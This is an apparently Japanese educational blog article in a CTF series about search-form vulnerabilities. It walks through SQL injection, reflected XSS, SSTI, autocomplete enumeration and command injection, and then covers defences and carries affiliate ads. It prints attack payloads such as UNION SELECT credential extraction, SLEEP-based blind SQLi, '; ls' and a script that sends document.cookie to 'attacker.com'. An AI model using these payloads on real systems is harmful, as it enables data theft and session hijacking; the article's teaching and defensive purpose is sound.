PR 本記事には広告(Amazonアソシエイト・もしもアフィリエイト・A8.net等)が含まれます。掲載情報の正確性には努めていますが、商品の詳細は必ずリンク先で最新情報をご確認ください。
CTF・セキュリティ学習

【検索フォームは脆弱性の宝庫】XSS・SQLi・入力検証の急所|CTF思考フレームワーク #04

安全に生きたい編集部

📖 この記事はシリーズの一部です

「CTF思考フレームワーク」 Webフォーム編 #04 / 公開中 10記事 → シリーズ一覧を見る →

検索ボックスは「ユーザー入力をそのままクエリに使う」場所。攻撃者にとってSQLi・XSS・コマンドインジェクションの宝庫です🎁

難易度:★★☆(中級)

インジェクション系の入門。HTTPとSQLの基本があればOK👌

ECサイトでもブログでも、必ずある「検索ボックス」。便利な機能ほど穴が深く、ここから一発で全データを抜かれることもあります。攻撃者の視点で見てみましょう✨

この記事の難易度

難易度:★★☆(やさしめ) / 所要:10〜12分 / 前提:#01〜#03の内容

👀 観察フェーズ:まず何を見る?

検索ってDBとUIの両方を触るから、攻撃面が二重に広いんだ。

検索フォームって、ユーザーが入れた言葉をそのまま処理する場所だらけなんです。URLパラメータ(URLの末尾に ?q=xxx みたいに付く部分)、検索結果を画面に流し込むDOM挿入箇所、データベースに渡るクエリ…。攻撃者にとっては「入口の宝箱」なので、まず落ち着いて、どこにどう値が流れているかを観察します。🔍

  • 検索クエリが GETパラメータ(URLの末尾の ?q=xxx 形式)に出るか、POST(送信ボタンで隠れて飛ぶ形式)かを確認
  • JavaScriptで結果をDOMに挿入している場所(XSS確認用innerHTMLに直接入れてるか、textContentでエスケープしてるかが分かれ目)
  • 検索結果0件・エラー時のレスポンス(情報漏洩のヒント。SQLエラーやスタックトレースが画面に出ると内部構造が丸見え)
  • オートコンプリート機能の有無とAPI設計(サジェストAPI = 1文字打つたびに裏で叩かれるエンドポイント。認証なしだと総当たりされる)
  • 高度な検索(filter, sort パラメータ)の構造(マスアサインメント=想定外のフィールドまで一気に書き換えられる脆弱性の温床)
  • レスポンスヘッダーの CSP(Content-Security-Policy)Content-Type(実運用では nonce方式hash方式strict-dynamic で個別許可するパターンが現実的)

結果ページのソースを Ctrl+U(ブラウザでHTMLソースを表示するショートカット)で開いて、検索ワードがどこにどう埋め込まれているかを目で追うと、攻撃面(攻撃者が触れる場所の総量)がぐっと見えてきます。👀

検索キーワードがそのままURLや画面に出てくるのって、よく見るけど…💧

🤔 仮説フェーズ:攻撃者ならどう考える?

検索の入力 → DB問い合わせ → 結果表示、それぞれに別の脆弱性が潜むよ。

検索フォームは SQLi(SQLインジェクション=DBに不正なSQLを混ぜ込む攻撃)XSS(クロスサイト・スクリプティング=悪意あるJSを埋め込む攻撃)SSTI(サーバサイド・テンプレート・インジェクション=サーバ側のテンプレ式を実行させる攻撃)の3大インジェクションが揃う”宝庫”。代表的な4つの仮説を、一つずつ見ていきます。

💉 仮説①:検索キーワードが直接SQLに連結されている

プレースホルダ(SQLに値を渡す安全な仕組み。? や名前付き変数を使うやり方)を使わず、文字列をそのまま連結して SQL を組み立てている実装だと、' OR 1=1--' UNION SELECT といった一行で DB全件抽出される可能性があります。エラー応答に SQL文の一部(テーブル名・カラム名)が漏れていたら、攻撃者にとっては”地図”を渡したようなもの。

え、検索ボックスに'入れただけでエラーが変わるってことは…そのまま実行されてるの!?

⚡ 仮説②:検索ワードがそのまま画面に表示される

「’xxx’ の検索結果」のような表示で、ユーザー入力をエスケープ(<&lt;に変換する処理)せずDOMに挿入していると、反射型XSS(その場限りで実行される一時的なXSS)が成立。<script> タグを仕込めば、訪問者のブラウザ上でスクリプトが走り、Cookie(ログイン状態を保つ小さなデータ)を盗まれる恐れも。

検索結果に入れた文字がそのまま出るのって、危ない兆候なの…?

🧨 仮説③:テンプレートエンジンに値が渡る(SSTI)

Jinja2 や Twig などのテンプレートエンジン({{変数}} 形式でHTMLに値を埋め込む仕組み)に、ユーザー入力を直接 render(テンプレ式として評価)していると、{{7*7}}49 として評価される=サーバ側コード実行に直結する超危険な脆弱性。検索結果のタイトルやサジェストなど、何気ない場所に潜みます。

え、{{7*7}}49になったらサーバー乗っ取りレベルなの!?

🔎 仮説④:オートコンプリートAPIが情報を漏らす

サジェストAPI(検索ボックスで1文字打つたびに候補を返す裏側のエンドポイント)が認証なしで叩けたり、ユーザー名・メアドの一部を返したりすると、攻撃者は1文字ずつ試行してアカウント列挙(存在するユーザーを総当たりで特定する手口)に悪用できます。検索の便利さと、漏らしてはいけない情報のバランスを冷静に見ます。

便利機能のオートコンプリートが列挙の踏み台に…意外な落とし穴だ💧

検索フォームは入口・処理・出力すべてに罠がある場所。プレースホルダ+出力エスケープが基本💡

🔬 検証フェーズ:実際に試す手順

検索の検証は特殊文字を一個ずつ試すのが鉄則。一気に複雑なペイロード入れない方が分かりやすいよ。

仮説を立てたら、ここからは実際に動かして反応を見るフェーズ。必ず自分の環境(ローカルや専用の検証環境)か、明確に許可された場所でだけ実施してください。他人のサイトに勝手に投げると不正アクセス禁止法違反(日本では懲役や罰金になる立派な犯罪)です。

STEP 1
XSSペイロード投入

検索欄に <script>alert(1)</script><img onerror="alert(1)" src="x"> を入れて、結果ページでアラートが出るかを確認します。出なくても、ソースを見て <&lt; に変換されているかをチェック。エスケープの有無がここで分かります。

STEP 2
SQLi基本ペイロード

' OR 1=1--' UNION SELECT NULL-- を入れて、結果が増減したりエラーが出るかを観察。UNION(複数のSELECT結果を縦に連結する命令)はカラム数一致が必須なので、UNION SELECT NULL,NULL-- のように NULL を1つずつ増やしてカラム数を当てます。

STEP 3
パラメータ追加・改ざん

URL に ?admin=1?debug=true?role=admin を勝手に追加してみる。レスポンスが変わる=マスアサインメント(想定外のフィールドまで一括代入されてしまう実装ミス)の可能性。デバッグ情報がポロッと出てきたら、それだけで内部構造の地図になります。

STEP 4
ブラインドSQLi

AND SLEEP(5)-- を投げて、レスポンスが約5秒遅れたらブラインドSQLi(画面に結果が出ないSQLi。応答時間や条件分岐の差分で1ビットずつ情報を抜く手口)。条件分岐型なら true / false 判定ができます。エラーメッセージが出ないタイプのSQLiは、こうして”間接的に”見抜きます。

STEP 5
コマンドインジェクション試験

検索バックエンドがshellコマンド経由(裏でOSコマンドを叩いてる古い実装)なら、; ls| whoami が刺さることも。古い構成で稀に見かけるパターンで、刺さるとサーバ全体を乗っ取られる最重大級の穴です。

うわ、'<入れるだけで反応が変わるって、それだけでヒントなの…!?

そう、<' を1文字入れるだけで反応が変わる、それだけでヒントになるんだよ。エスケープしているか/していないかは、その一文字で見えてくる。怖い…じゃなくて、凄く大事な観察です。

⚔️ 攻撃フェーズ:攻撃者ならこう攻める

“なぜ通るか”を理解するのがゴール。攻撃の原理がわかれば対策も自然に見えるよ。

検証で「ここ弱いな」と判断したら、ここからは攻撃のパターンを見ていきます(あくまで防御のため!)。検索フォームでよくある攻撃は、大きく この3パターンに分かれます。

検証で「ここ弱いな」と判断したら、実際の攻撃に移ります。検索フォームでよくある攻撃はこの3パターン

① SQLi→全件抽出

‘ UNION SELECT username, password FROM users– でユーザーテーブル全部抜き取り。情報漏洩の典型パターン💥

② 反射型XSS→Cookie窃取

<script>fetch("//attacker.com?c="+document.cookie)</script> を仕込んだURLを被害者にクリックさせ、セッションCookieを窃取🍪

③ SSTI(テンプレートインジェクション)

検索結果ページがJinja2/Twigなどテンプレートエンジンで動いてると、{{7*7}}が49で評価される=RCEに繋がる超危険脆弱性☠️

えっ、SQLiでDB全部抜かれるのもSSTIでサーバ乗っ取りも…検索ボックスからこんなに広がるの!?💧

結果として、こんな”フラグ”(CTFで言う”勝利の合言葉”。実戦では機密データそのもの)を取られちゃうイメージです:

?q=' UNION SELECT username,password FROM users--
→ 検索結果に admin / 5f4dcc3b... が表示
CTF{sql_injection_in_search}

検索フォーム1箇所のミスで、データベース全件が抜かれることもあります。たかが検索、されど検索。入口の数だけ守りどころがあると覚えておくと、設計の解像度が一段上がります。🚨

🛡️ 防御フェーズ:どう守る?

やっとお待ちかね、守る側の打ち手。検索はプレースホルダ+出力エスケープ+CSPの3点セットだよ。

攻撃側を理解したら、守る側の打ち手も自然と見えてきます。検索フォームの防御は、設計・実装・運用の3レイヤーで考えるのがコツ。1枚目で漏れても2枚目、3枚目で止める”多層防御“の発想です。🛡️

🏗️ 設計レベル
  • 検索クエリは必ずプレースホルダ/パラメータ化(値を文字列連結で埋めず、? や名前で安全に渡す方式)
  • 出力時はHTMLエスケープ<>&&lt; 等に変換)必須
  • CSP(Content-Security-Policy。実行できるスクリプトの出どころをブラウザ側で制限するヘッダ)inline-script 禁止
⚙️ 実装レベル
  • ORM(オブジェクト関係マッパー。SQLを直接書かずDB操作するライブラリ)使用時も raw query(生のSQLを直接実行する命令)に注意(Sequelize / Prisma 等)
  • 検索エラーは汎用メッセージで返す(DBの内部情報を漏らさない)
  • WAF(Web Application Firewall。Webへの攻撃通信を入口で遮断する仕組み)でインジェクションペイロードをブロック(※WAFは多層防御の最後の保険。根本対策はプレースホルダや出力エスケープなど実装側で行うのが原則)
🔐 運用レベル
  • DB接続ユーザーは最小権限(検索対象テーブルのみ参照権限。攻撃が成立しても被害を限定する考え方)
  • 検索ログ監視(' OR '1'='1 など既知パターンを検知してアラートを上げる)
  • ペネトレーションテスト(許可を得て実際に攻撃を試みる検査)で定期確認

なるほど…プレースホルダ・エスケープ・CSPの組み合わせか。どれか1個破られても他で守れるってことだね!

その通り。入力・処理・出力でそれぞれ守るのが多層防御の本質だよ🛡️

🛡️ 今日からできる対策ツール

パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。

PR / 広告

ソースネクスト

※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。

⚠️ よくある落とし穴

  1. フロントエンドだけでバリデーション(入力チェック)して満足する ─ 攻撃者はブラウザを使わずに直接APIを叩けます。サーバ側の検証が必須。フロントは”親切な案内”、サーバは”厳格な検問”の役割分担。
  2. エスケープを忘れて、結果ページにそのままユーザー入力を出力 ─ 検索ワードを <h1> に直接入れてXSS成立、というのは古典的な失敗。フレームワーク標準のエスケープ機能を信頼して使い切るのが安全。
  3. sort, filter パラメータをORMに直接渡してSQLi発生 ─ プレースホルダ化していても、カラム名やソート方向の動的指定はバインドできず、ここからSQLiに繋がります。許可リスト方式(決められた値以外は弾く)で守る。

🧰 ツール早見表

ツール何ができる使いどころ(やさしい解説)
sqlmapSQLi自動検出・抽出検証〜攻撃フェーズ(自動でクエリを送り、応答からSQLiの有無を判定。必ず許可された環境のみ
Burp Suiteパラメータ改ざん観察〜検証(送信内容をブラウザとサーバの間で書き換えて反応を見る、定番ツール)
XSStrikeXSS自動検出XSS検証(多彩なペイロード(攻撃用文字列)を自動で試して、刺さるものを見つける)
ffufパラメータ列挙隠れたパラメータ発見(?debug=1 など、ドキュメントに無い裏パラメータを総当たりで探す)

🎓 本気で学びたい人へ

Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。検索フォーム1つでも、設計→実装→運用の全体像で語れるようになると、現場での説得力がぐっと変わります。

PR / 広告

ササエル

📚 もっと深く学びたい人へ

体系的に攻撃と防御の両面を学びたいなら、『ホワイトハッカー入門 第2版』(IPUSIRON 著)が分かりやすい入口です。攻撃の仕組みを”手を動かしながら“理解する構成で、本記事の検証フェーズと相性抜群。📚

🤝 大事なお約束

この記事の手法は、必ず自分の環境か、許可された CTF・脆弱性報奨金プログラム(HackerOne, Bugcrowd 等。”見つけたら報告すれば報奨金がもらえる”公式ルートのこと)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かすのが、この記事の唯一にして最大の約束です。🤝

この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝

📚 次に読みたい

📰 関連の実例・ニュース解説

この攻撃が実際に使われた事件・対策ガイドはこちら:

📚 シリーズ全体の一覧を見る →

CTF・セキュリティ学習ハブページへ

#CTF#Web脆弱性#セキュリティ学習#思考フレームワーク#攻撃者視点
Recommend
こちらの記事もどうぞ
記事URLをコピーしました